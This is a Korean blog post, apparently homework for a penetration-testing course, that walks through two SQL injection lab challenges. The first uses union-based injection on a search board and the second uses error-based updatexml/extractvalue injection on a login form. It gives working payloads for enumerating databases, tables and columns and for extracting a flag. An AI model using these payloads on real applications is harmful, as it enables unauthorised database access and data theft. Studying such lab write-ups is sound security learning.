본문 바로가기

보안지식/SQL

[노말틱 모의 해킹 취업반 5주차 해킹과제] SQLi 문제 풀이(1,2문제)

안녕하세요! 오늘은 노말틱님께서 만드신 1,2번 문제 풀이를 해보려고 합니다!

 

시작하죠

.

.

.

.

 

만약 SQLi 공격하는 방법을 잘 모르신다면 

 

https://mynameisarke.tistory.com/25

 

[노말틱 모의 해킹 취업반 4주차 해킹과제] Error Based SQLi, SQL Injection

안녕하세요! 이번에도 SQL Injection을 공부할 건데요 오늘은 SQL 질의문이 화면에 보이는 곳을 공격하는 연습할 겁니다! 예를 들자면 게시판도 있고 회원 정보(마이페이지), 주소검색 등등 있죠 저

mynameisarke.tistory.com

참고하시면 되요!

 

 

시작할게요

 

 

-1번

 

 

 

게시판이 있네요!

 

일단 간단하게 검색을 해보겠습니다.

 

오..

 

ma만 쳤는데 mario가 나오고 normaltic도 나오네요!

 

그럼 sql문을 추측할 수 있겠네요!

 

Step 1.

SQL문을 대강 추측하면 select ~~ from ~~ where ~~ = '%  %' 이겠네요

 

Step 2.

SQLi 공격이 통하는지 한번 AND '1%'='1 넣어보겠습니다

 

 

ma%' AND '1%'='1

 

되네요!

 

 

Step 3.

 

이제 union을 이용한 공격을 할 건데 칼럼 수가 몇개인지 알아내야 합니다.

 

order by 사용하겠습니다.

 

ma%' order by  4#

 

나오네요

 

 

ma%' order by  5#

 

안나오네요!

 

그럼 컬럼 수가 4개인 것을 알 수 있습니다.

 

 

Step 4.

데이터가 어디에 화면에 나오는지 확인해 보겠습니다.

 

ma%' union select'1','2','3','4

 

다 나오네요!

 

Step 5

데이터베이스 추출하기

 

select database() 이용하겠습니다.

 

ma%' union select '1',database(),'3','4

 

 

sqli_1

 

이름이 나왔네요!

 

 

Step 6

이제 테이블 이름 추출하겠습니다.

 

select table_name from information_schema.tables where table_schema = '[데이터베이스 이름]'

 

이용하겠습니다.

 

ma%' union select '1',table_name,'3','4' from information_schema.tables where table_schema = 'sqli_1' #information_schema.tables where table_schema = 'sqli_1'#

 

 

 

flag_table을 찾았네요!

 

 

Step 7

이제 칼럼 명을 추출하겠습니다.

 

select column_name from information_schema.columns where table_name='[테이블명]'

 

이용하겠습니다.

 

ma%' union select '1',column_name,'3','4' from information_schema.columns where table_name='flag_table' #

 

좋아요!

 

Step 8

마지막입니다 이제 데이터 추출하면 끝이네요!

 

ma%' union select '1',flag,'3','4' from flag_table #

 

 

답이 나왔습니다!

 

.

.

.

.

.

.

 

좋아요 이제 2번으로 가겠습니다

 

 

아하..

 

한 번 로그인 시도 할 때 ' 특수기호를 넣어서 SQL 오류를 내보겠습니다.

 

 

실행!

 

오!

 

데이터베이스 오류문이 나오네요!

 

그럼 SQLi의 공격이 통한다는 이야기입니다.

 

Step 1

추측을 해보겠습니다. pass는 해싱되니 상관이 없고요.

그럼 ID는 아마 select ~~ from ~~='     ' 이겠네요!

 

Step 2

이제 SQLi도 통하고 오류 구문을 자세히 봐보겠습니다.

SQL syntax 보니 SQL 구문 오류이고요 MYSQL을 사용한다고 적혀있습니다.

 

Step 3

이제 공격 틀을 만들겠습니다!

저는 undatexml을 이용하겠습니다.

 

1' and updatexml(null,concat(0x3a,'test'),null) and '1' = '1

 

물론  Extractvalue 을 이용학 셔도 됩니다!

틀은 설명 해드리겠습니다. 1' and  extractvalue(0x0a,concat(0x0a,concat(0x0a,(우리가 실행할 쿼리문)))

이렇게 쓰시면 됩니다.

 

저는 updatexml을 사용하겠습니다.

 

 

Step 4

데이터베이스 이름 추출하기

 

select database() 이용하겠습니다.

 

1' and updatexml(null,concat(0x3a,(select database())),null) and '1' = '1

 

sqli_2

 

Step 5

이제 테이블 이름을 꺼내겠습니다.

 

select table_name from information_schema.tables where table_schema = '[데이터베이스 이름]'

 

이용하면 되겠죠?

 

1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema = 'sqli_2')),null) and '1' = '1

 

 

 

1줄 이상 있네요!

 

그럼 limit을 설정해서 테이블 이름을 꺼내겠습니다.

 

1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema = 'sqli_2' limit 0,1)),null) and '1' = '1

 

바로 나와주네요!

 

저희가 원하는 답이 들어있는 flag_table을 찾았습니다.

 

 

Step 6

이제 칼럼명을 찾으면 되겠네요!

 

select column_name from information_schema.columns where table_name='[테이블이름]'

 

이용하면 되겠죠

1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='flag_table')),null) and '1' = '1

 

flag

 

 

Step 7

이제 데이터 추출만 하면 끝이네요!

 

1' and updatexml(null,concat(0x3a,(select flag from flag_table)),null) and '1' = '1

 

끝!

 

 

이렇게 하면 나오네요! 만약 또 한 줄 이상 있다고 나오면 limit을 설정해서 찾으면 되겠죠!

.

.

.

.

오늘은 간단한 sqli 하는 방법을 보여드렸습니다.

 

다음에 봬요! 미세먼지 조심하시고요

꼭 PreparedStatement을 사용합시다